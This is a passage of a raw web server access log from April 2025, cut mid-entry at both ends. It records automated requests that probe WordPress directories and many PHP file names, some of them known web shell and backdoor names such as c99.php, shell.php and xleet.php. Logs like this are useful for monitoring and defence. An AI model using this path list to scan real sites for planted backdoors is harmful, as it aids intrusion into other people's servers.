- - [25/Apr/2025:09:47:52 -0400] "GET /wp-includes/js/tinymce/plugins/hr/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:52 -0400] "GET /wordpress/wp-includes/sodium_compat/src/Core32/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:52 -0400] "GET /wp-content/td/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:52 -0400] "GET /about/b/home/iune/www/about/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:53 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:53 -0400] "GET /wp-content/plugins/revslider/admin/assets/images/navigationeditor/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:53 -0400] "GET /classwithtostrin.php/rbzccnn.php/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:54 -0400] "GET /wp-content/upgrade-temp-backup/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:54 -0400] "GET /wp-content/plugins/wpforms-lite/templates/admin/empty-states/payments/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:54 -0400] "GET /wp-includes/js/tinymce/plugins/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:54 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:55 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:55 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:55 -0400] "GET /wp-content/themes/twentytwentytwo/styles/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:56 -0400] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:56 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:56 -0400] "GET /wp-content/themes/listdo/inc/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:57 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:57 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:57 -0400] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:58 -0400] "GET /http:/gracecommunications.church/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:58 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:58 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:59 -0400] "GET /wp-content/plugins/wp-rocket/inc/admin/ui/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:59 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:59 -0400] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:59 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:00 -0400] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:00 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:00 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:01 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:01 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:01 -0400] "GET /wp-admin/sr/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:02 -0400] "GET /wp-includes/Text/Diff/Engine/require/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:02 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:02 -0400] "GET /index/sr HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:02 -0400] "GET /wp-content/updraft/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:03 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:03 -0400] "GET /wp-includes/css/dist/list-reusable-blocks/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:03 -0400] "GET /wp-content/uploads//wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:04 -0400] "GET /wp-includes/Text/Diff/Engine/Engine/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:04 -0400] "GET /wp-content/plugins/smartmag-core/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:04 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:05 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:05 -0400] "GET /wp-content/plugins/jetpack/_inc/build/shortcodes/js/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:05 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:05 -0400] "GET /wp-content/uploads/2022/07/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:06 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:06 -0400] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:06 -0400] "GET /wp-includes/js/tinymce/plugins/wpview/wp/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:06 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:07 -0400] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:07 -0400] "GET /wp-includes/js/tinymce/skins/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:07 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:08 -0400] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:08 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:08 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:08 -0400] "GET /sec/core/tests/Drupal/FunctionalTests/Hal/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:09 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:09 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:09 -0400] "GET /wp-content/plugins/jet-engine/includes/components/glossaries/assets/css/admin/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:10 -0400] "GET /wp-content/plugins/all-in-one-seo-pack/vendor_prefixed/psr/log/Psr/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:10 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:10 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:11 -0400] "GET /wp-content/plugins/elementor/core/admin/ui/components/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:11 -0400] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:11 -0400] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:11 -0400] "GET /.well-known HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:12 -0400] "GET /.well-known/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:12 -0400] "GET /.well-known/config HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:13 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:13 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:13 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:14 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:14 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:14 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:14 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:15 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:15 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:15 -0400] "GET /api.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:15 -0400] "GET /app/wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:16 -0400] "GET /backup/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:16 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:16 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:17 -0400] "GET /blog/blog.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:17 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:17 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:18 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:18 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:18 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:19 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:19 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:19 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:19 -0400] "GET /css/colors/coffee/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:20 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:20 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:20 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:21 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:21 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:21 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:22 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:22 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:22 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:22 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:23 -0400] "GET /header.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:23 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:24 -0400] "GET /home.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:24 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:24 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:25 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:25 -0400] "GET /libraries/php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:25 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:25 -0400] "GET /login HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:26 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:26 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:26 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:26 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:27 -0400] "GET /maintenance.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:27 -0400] "GET /news.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:27 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:28 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:28 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:28 -0400] "GET /plugins/custom/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:28 -0400] "GET /post.php/wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:29 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:29 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:29 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:29 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:30 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:30 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:30 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:30 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:31 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:31 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:31 -0400] "GET /vendor/bin/loader.php/wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:32 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:32 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:32 -0400] "GET /wp-admin HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:32 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:33 -0400] "GET /wp-admin/css/about.php/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:33 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:33 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:33 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:34 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:34 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:34 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:34 -0400] "GET /wp-admin/images/wp-settings.phtml HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:35 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:35 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:35 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:36 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:36 -0400] "GET /wp-admin/user/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:36 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:36 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:37 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:37 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:37 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:37 -0400] "GET /wp-content/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:38 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:38 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:38 -0400] "GET /wp-content/plugins/WordPressCore/fm.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:39 -0400] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:39 -0400] "GET /wp-content/plugins/core-plugin/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:39 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:39 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:40 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:40 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:40 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:40 -0400] "GET /wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:41 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:41 -0400] "GET /wp-content/themes/pridmag/1.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:41 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:42 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:42 -0400] "GET /wp-content/uploads HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:42 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:42 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:43 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:43 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:43 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:43 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:44 -0400] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:44 -0400] "GET /wp-includes/Text/chosen.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:44 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:45 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:45 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:45 -0400] "GET /wp-includes/blocks/post-author/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:45 -0400] "GET /wp-includes/blocks/site-logo/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:46 -0400] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:46 -0400] "GET /wp-includes/blocks/term-description/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:46 -0400] "GET /wp-includes/css/dist/preferences/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:47 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:47 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:47 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:47 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:48 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:48 -0400] "GET /wp-includes/sts.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:48 -0400] "GET /wp-includes/wp-class.php/wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:48 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:49 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:49 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:49 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:48:49 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 109.248.204.49 - - [25/Apr/2025:10:29:17 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" 2a01:4f8:221:1d3::2 - - [25/Apr/2025:10:33:13 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:40 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:40 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:40 -0400] "GET /.ll/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:20:41 -0400] "GET /.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:20:41 -0400] "GET /wp-content/plugins/async-upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:41 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:41 -0400] "GET /pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:20:42 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:20:42 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:42 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" 